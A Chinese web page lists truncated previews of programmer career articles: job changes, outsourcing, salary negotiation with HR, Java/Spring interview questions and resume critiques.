不知道是不是只有我这样子,还是你们也有过类似的经历。 上学的时候总有很多光辉历史,学年名列前茅,或者单科目大佬,但是虽然慢慢地长大了,你开始懈怠了,开始废掉了。。。 什么?你说不知道具体的情况是怎么样的? 我来告诉你: 你常常潜意识里或者心理觉得,自己真正的生活或者奋斗还没有开始。总是幻想着自己还拥有大把时间,还有无限的可能,自己还能逆风翻盘,只不是自己还没开始罢了,自己以后肯定会变得特别厉害...

什么时候跳槽,为什么离职,你想好了么?

都是出来打工的,多为自己着想

为什么程序员做外包会被瞧不起?

二哥,有个事想询问下您的意见,您觉得应届生值得去外包吗?公司虽然挺大的,中xx,但待遇感觉挺低,马上要报到,挺纠结的。

当HR压你价,说你只值7K,你该怎么回答?

当HR压你价,说你只值7K时,你可以流畅地回答,记住,是流畅,不能犹豫。 礼貌地说:“7K是吗?了解了。嗯~其实我对贵司的面试官印象很好。只不过,现在我的手头上已经有一份11K的offer。来面试,主要也是自己对贵司挺有兴趣的,所以过来看看……”(未完) 这段话主要是陪HR互诈的同时,从公司兴趣,公司职员印象上,都给予对方正面的肯定,既能提升HR的好感度,又能让谈判气氛融洽,为后面的发挥留足空间。...

面试阿里p7,被按在地上摩擦,鬼知道我经历了什么?

面试阿里p7被问到的问题(当时我只知道第一个):@Conditional是做什么的?@Conditional多个条件是什么逻辑关系?条件判断在什么时候执...

你期望月薪4万,出门右拐,不送,这几个点,你也就是个初级的水平

先来看几个问题通过注解的方式注入依赖对象,介绍一下你知道的几种方式@Autowired和@Resource有何区别说一下@Autowired查找候选者的...

面试了一个 31 岁程序员,让我有所触动,30岁以上的程序员该何去何从?

最近面试了一个31岁8年经验的程序猿,让我有点感慨,大龄程序猿该何去何从。

大三实习生,字节跳动面经分享,已拿Offer

说实话,自己的算法,我一个不会,太难了吧

程序员垃圾简历长什么样?

已经连续五年参加大厂校招、社招的技术面试工作,简历看的不下于万份 这篇文章会用实例告诉你,什么是差的程序员简历! 疫情快要结束了,各个公司也都开始春招了,作为即将红遍大江南北的新晋UP主,那当然要为小伙伴们做点事(手动狗头)。 就在公众号里公开征简历,义务帮大家看,并一一点评。《启舰:春招在即,义务帮大家看看简历吧》 一石激起千层浪,三天收到两百多封简历。 花光了两个星期的所有空闲时...

立即提问
相关内容推荐